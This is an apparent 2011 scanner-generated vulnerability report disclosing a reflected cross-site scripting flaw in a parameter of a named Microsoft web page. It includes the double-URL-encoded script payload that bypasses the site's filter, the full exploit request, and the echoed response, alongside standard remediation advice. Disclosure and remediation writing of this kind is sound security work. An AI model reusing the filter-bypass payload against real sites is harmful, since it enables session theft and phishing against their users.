XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.microsoft.com/ru-ru/platforma/materials/speaker.aspx

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Thu Aug 18 13:44:12 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS in microsoft.com/ru/ru/events/platforma/materials/default.aspx, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1. Cross-site scripting (reflected)

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.microsoft.com
Path:	/ru-ru/events/platforma/materials/default.aspx

Issue detail

The value of the speaker request parameter is copied into the HTML document as plain text between tags. The payload a311a%253cscript%253ealert%25281%2529%253c%252fscript%253eb7d5fb28d90 was submitted in the speaker parameter. This input was echoed as a311a<script>alert(1)</script>b7d5fb28d90 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the speaker request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /ru-ru/events/platforma/materials/default.aspx?speaker=%2527%2522--%253E%253C%252Fstyle%253E%253C%252Fscript%253E%253Cscript%253Enetsparker%25280x00310C%2529%253C%252Fscript%253Ea311a%253cscript%253ealert%25281%2529%253c%252fscript%253eb7d5fb28d90 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=07/22/2011 11:34:14&Microsoft.VisitStartDate=07/22/2011 11:34:14&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1311323652111:ss=1311323652111
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: public
Content-Type: text/html; charset=utf-8
Expires: Wed, 03 Aug 2011 21:14:09 GMT
Last-Modified: Fri, 15 Jul 2011 10:20:24 GMT
ETag: 634462968240000000
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 438263200600000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Wed, 03 Aug 2011 21:04:08 GMT
Content-Length: 140586

...<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xh
...[SNIP]...
</script>a311a<script>alert(1)</script>b7d5fb28d90</b>
...[SNIP]...

Report generated by XSS.CX at Thu Aug 18 13:44:12 GMT-06:00 2011.